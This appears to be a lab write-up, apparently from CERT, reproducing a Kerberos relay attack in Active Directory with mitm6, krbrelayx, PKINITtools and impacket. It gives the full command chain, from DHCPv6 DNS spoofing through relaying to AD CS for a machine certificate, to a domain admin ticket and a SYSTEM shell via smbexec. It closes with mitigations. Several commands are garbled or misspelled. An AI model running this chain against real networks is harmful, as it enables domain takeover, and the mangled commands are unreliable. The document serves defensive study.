Kerberos relaying with krbrelayx and mitm6

- Overview
- Components Used
  - Machines
  - Software
  - Hosts
- The attack flow
- Reproducing the attack
  - Advertisement of malicious DNS server via mitm6
  - Handling of Dynamic Update from victim
  - Capturing the kerberos ticket from the authenticated DNS dynamic update
  - Getting a machine account certificate using our kerberos ticket
  - Upgrading our machine account certificate to a domain admin account ticket on victim
  - Confirming our ticket
  - Summary of commands
  - Full packet capture
- Protecting against this attack
  - Enable Extended Protection for Authentication and Require SSL on AD CS systems
  - Block DHCPv6 and ICMPv6 on networks that only use IPv4

Overview

Dirk-jań Mollema published a blog post that shows how an attacker on the same (V)LAN as a machine connected to an active directory where an AD CS server is present can obtain a kerberos ticket to impersonate a domain admin on the victim system: [https://dirkjanm.io/relaying-kerberos-over-dns-with-krbrelayx-and-mitm6/](https://dirkjanm.io/relaying-kerberos-over-dns-with-krbrelayx-and-mitm6/)

Using the steps outlined, an attacker can execute code with **SYSTEM** privileges on the victim system.

This post has some further details as to what's going on with this attack.

Components Used

Machines

Reproducing this vulnerability will take 4 machines:
Software

The following software should be present on the attacker's Linux box:

https://github.com/dirkjanm/mitm6
https://github.com/dirkjanm/krbrelayx
https://github.com/dirkjanm/PKINITtools
https://github.com/SecureAuthCorp/impacket

I used a CERT Tapioca VM as the attacker's machine, but that also required that I made sure that IPv6 was enabled, and also that the firewall was disabled on the WAN side:

```
sudo iptables -F
sudo iptables -P INPUT ACCEPT
```

Hosts

For the materials in this writeup, the following hosts/domain is used:

Domain name: wd.local

Domain controller: WIN-6ERMGJ5ECLO.wd.local (192.168.3.1)
AD CS server: adcs.wd.local (192.168.3.103)
Victim (domain-joined) host: win10.wd.local (192.168.3.108)
Domain admin account: Administrator@wd.local
Attacker's system: 192.168.3.100

The attack flow

The flow of events in this attack can be summarized in the following animation:

**Kerberos relaying with krbrelayx and mitm6**

Reproducing the attack

**Advertisement of malicious DNS server via mitm6**

*mitm6* is a utility that can leverage DHCPv6 to coerce a Windows host on an IPv4 network to use an arbitrary DNS server.
The victim machine asks the LAN if anybody is providing DHCPv6 for settings, including which DNS server to use:

<table>
<thead>
<tr>
<th>No.</th>
<th>Time</th>
<th>Source</th>
<th>Destination</th>
<th>Protocol</th>
<th>Length</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>20</td>
<td>27.815666215</td>
<td>fe80::ac96:beed:99ce:d0d9</td>
<td>ff02::1:2</td>
<td>DHCPv6</td>
<td>157</td>
<td>Solicit XID: 0x1ba7a1 CID: 0</td>
</tr>
<tr>
<td>21</td>
<td>27.849168776</td>
<td>fe80::20c:29ff:fe1c:750a</td>
<td>fe80::ac96:beed:99ce::d0d9</td>
<td>DHCPv6</td>
<td>176 advertise XID: 0x1ba7a1 CID: 0</td>
<td></td>
</tr>
</tbody>
</table>

- Frame 20: 157 bytes on wire (1256 bits), 157 bytes captured (1256 bits) on interface 0
- Ethernet II, Src: VMware 5f:4a:48 (00:0c:29:5f:4a:48), Dst: IPv6cast 01:00:02 (33:33:00:01:00:02)
- Internet Protocol Version 6, Src: fe80::ac96:beed:99ce:d0d9, Dst: ff02::1:2
- User Datagram Protocol, Src Port: 546, Dst Port: 547

DHCPv6

- Message type: Solicit (1)
- Transaction ID: 0x1ba7a1
- Elapsed time
- Client Identifier
- Identity Association for Non-temporary Address
- Fully Qualified Domain Name
- Vendor Class
- Option Request
  - Option: Option Request (6)
  - Length: 8
  - Value: 0010001700180027
  - Requested Option code: Vendor-specific Information (17)

Requested Option code: DNS recursive name server (23)

- Requested Option code: Domain Search List (24)

Packets: 119 - Displayed: 119 (100.0%) - Dropped: 0 (0.0%) - Profile: Default
And the machine running **mitm6** says to the victim that it should be used for DNS requests:

```
and the machine running mitm6 says to the victim that it should be used for DNS requests:
```

**Handling of Dynamic Update from victim**
When the victim system attempts to perform a DNS update, e.g. when it first powers on, `mitm6` will refuse the update:

```shell
root@ubuntu2004:/in/mitm6# mitm6 --domain wd.local --host-allowlist win10.wd.local --relay ad.cs.wd.local -v
Starting mitm6 using the following configuration:
Primary adapter: ens33 [00:0c:29:1c:75:8a]
IPv4 address: 192.168.3.100
IPv6 address: fe80::20c:29ff:fe1c:758a
DNS local search domain: wd.local
DNS allowlist: wd.local
Hostname allowlist: win10.wd.local
IPv6 address fe80::192:168:3:100 is now assigned to mac=00:0c:29:5f:4a:48 host=win10.wd.local.
ipv4=192.168.3.108
Ignored query for v10.events.data.microsoft.com. from fe80::192:168:3:100
Sent SOA reply
Dynamic update found, refusing it to trigger auth
```
To deal with this refusal, the victim will talk to the domain controller to get a kerberos ticket so that it can try again with authority.

Capturing the kerberos ticket from the authenticated DNS dynamic update

Armed with the kerberos ticket for the victim machine, the victim begins a negotiation with the malicious DNS server to prove that it should be allowed to perform a DNS dynamic update.
At this point, `krbrelayx` comes into play. When the kerberos-authenticated DNS request comes in, `krbrelayx` notices and grabs the kerberos ticket:

```bash
$ Croot@ubuntu2004:/in/krbrelayx$ ./krbrelayx.py --target http://adcs.wd.local/certsrv/ --ip 192.168.3.100 --victim win10.wd.local --adcs --template Machine
[*] Protocol Client LDAP loaded.
[*] Protocol Client LDAP loaded.
[*] Protocol Client HTTP loaded.
[*] Protocol Client SMB loaded.
[*] Running in attack mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server
[*] Setting up DNS Server

[*] Servers started, waiting for connections
[*] DNS: Client sent authorization
```

Getting a machine account certificate using our kerberos ticket

With a valid kerberos ticket in hand, the request to the AD CS server can be made into an authorized one:

```
GET /certsrv/ HTTP/1.1
Host: adcs.wd.local
Accept-Encoding: identity
```

Because the AD CS server answers our request with an HTTP 200, we know that the authorization worked. So it's time to request a certificate:

```
[+] DNS: Client sent authorization
[+] HTTP server returned status code 200, treating as a successful login
[+] Generating CSR...
[+] CSR generated!
```
On the wire, it looks like this:

Once the AD CS server responds, the certificate is ready, and we can pick it up:

From the perspective of krbrelayx:

This certificate is for the win10.wd.local machine account.

Upgrading our machine account certificate to a domain admin account ticket on victim
We can now use `getttgpkinit.py` from PKINITtools to get a TGT using our `win10.wd.local` machine account certificate:

```bash
tapioca@ubuntu2004:~$ python getttgpkinit.py -pfx-base64 $(cat cert.txt) wd.local/win10$
win10.ccache -dc-ip 192.168.3.1
2022-02-24 18:45:24:236 minikerberos INFO Loading certificate and key from file
2022-02-24 18:45:24:355 minikerberos INFO Requesting TGT
2022-02-24 18:45:24:370 minikerberos INFO AS-REP encryption key (you might need this later):
9e964ee
2022-02-24 18:45:24:375 minikerberos INFO Saved TGT to file
```

Now with this TGT, saved as `win10.ccache`, we can go one step further to get a ticket for the domain admin account on the victim system, `Administrato@wd.local`, which we save as `admin.ccache`.

```bash
tapioca@ubuntu2004:~$ python gets4uticket.py kerberos+ccache://wd.local\\:win10\ccache\WIN-BERMGJ3ECL0.wd.local\cifs/win10.wd.local\@wd.local\Administrator@wd.local\admin.ccache
```

### Confirming our ticket

Now that we have what should be the domain administrator’s kerberos ticket, let’s try using it with the `smbclient.py` utility from `impacket`. Note that this strategy assumes that our victim system, `win10.wd.local` has a network-accessible share.

```bash
tapioca@ubuntu2004:~$ KRB5CCNAME=admin.ccache python ~/in/impacket/examples/smbclient.py \-k wd.local/\Administrator@win10.wd.local \-no-pass
Impacket v0.9.25.dev1-20220218.140931.6802675a - Copyright 2021 SecureAuth Corporation
```

Type help for list of commands

```
# use C$
# cd windows\system32\config
# ls
```

```
-d rw-rw-rw- 0 Mon Aug 2 21:35:50 2021 ..
-rw-rw-rw- 1048576 Tue Aug 25 20:01:26 2020 BBI
-rw-rw-rw- 1048576 Tue Aug 25 20:01:26 2020 BBI.LOG1
-rw-rw-rw- 528304 Tue Aug 25 20:01:33 2020 BBI.LOG2
-rw-rw-rw- 262144 Tue Aug 25 20:02:46 2020 BBI.LOG2
```

We are able to view the contents of the protected `windows\system32\config` directory, which a normal user cannot do.

Along these same lines, we can use the same ticket to execute arbitrary code on the victim machine with `SYSTEM` privileges by using the `smbexec.py` script:

```bash
tapioca@ubuntu2004:~$ KRB5CCNAME=admin.ccache python ~/in/impacket/examples/smbexec.py -k wd.local/Administrator@win10.wd.local -no-pass
Impacket v0.9.25.dev1-20220218.140931.6802675a - Copyright 2021 SecureAuth Corporation
```

```
[!] Launching semi-interactive shell - Careful what you execute
C:\WINDOWS\system32>whoami
```

### Summary of commands

Just to keep things together, and not in screenshot form, here are the commands that we used (in order) for our particular experiment:
# mitm6 --domain wd.local --host-allowlist win10.wd.local --relay adcs.wd.local --v
# ./krbrelayx.py --target http://adcs.wd.local/certsrv/ -ip 192.168.3.100 --victim win10.wd.local --adcs --template Machine

(Power on Win10 VM, or just wait if it's already on)
(Save certificate output as cert.txt)

$ python getttgtkinit.py -pfx-base64 $(cat cert.txt) wd.local/win10$ win10.ccache -dc-ip 192.168.3.1
$ python get4uticket.py kerberos+ccache://wd.local\win10\$:win10.ccache@WIN-6ERMGJ5ECLO.wd.local cifs/win10.wd.local/administrator@wd.local

$ KRB5CCNAME=admin.ccache python ~/in/impacket/examples/smbclient.py -k wd.local/Administrator@win10.wd.local -no-pass
$ KRB5CCNAME=admin.ccache python ~/in/impacket/examples/smbexec.py -k wd.local/Administrator@win10.wd.local -no-pass

Full packet capture

While not the exact traffic used to obtain the above screenshots, a packet capture of this entire attack chain (and also some irrelevant traffic) is available here:

krbrelayx_mitm6_full.pcapng

Relevant hosts in this capture include:

<table>
<thead>
<tr>
<th>Name</th>
<th>Role</th>
<th>IPv4</th>
<th>IPv6</th>
</tr>
</thead>
<tbody>
<tr>
<td>WIN-6ERMGJ5ECLO</td>
<td>Domain Controller</td>
<td>192.168.3.1</td>
<td>fe80::8914:c3e8:b7d9:e8ae</td>
</tr>
<tr>
<td>ADCS</td>
<td>Active Directory Certificate Services</td>
<td>192.168.3.103</td>
<td>fe80::2531:5a7b:adb4:4ed5</td>
</tr>
<tr>
<td>win10</td>
<td>Victim</td>
<td>192.168.3.108</td>
<td>fe80::ac96:beed:99ce:d8d9</td>
</tr>
<tr>
<td>tapioca</td>
<td>Attacker</td>
<td>192.168.3.100</td>
<td>fe80::192.168.3.108</td>
</tr>
</tbody>
</table>

Protecting against this attack

Enable Extended Protection for Authentication and Require SSL on AD CS systems

When CERT published VU#405600 about the PetitPotam attack chain on AD CS, we recommended enabling Extended Protection for Authentication (EPA) for AD CS systems. If you had deployed this mitigation already, congratulations. You don’t have to worry about the attack described above.

Block DHCPv6 and ICMPv6 on networks that only use IPv4

If you have a network where IPv6 is not being used, blocking DHCPv6 and ICMPv6 on all hosts can be used to prevent the mitm6 component of the above attack. With the Windows firewall, this involves setting the following rules to block:

* (Inbound) Core Networking - Dynamic Host Configuration Protocol for IPv6(DHCPV6-In)
* (Inbound) Core Networking - Router Advertisement (ICMPv6-In)
* (Outbound) Core Networking - Dynamic Host Configuration Protocol for IPv6(DHCPV6-Out)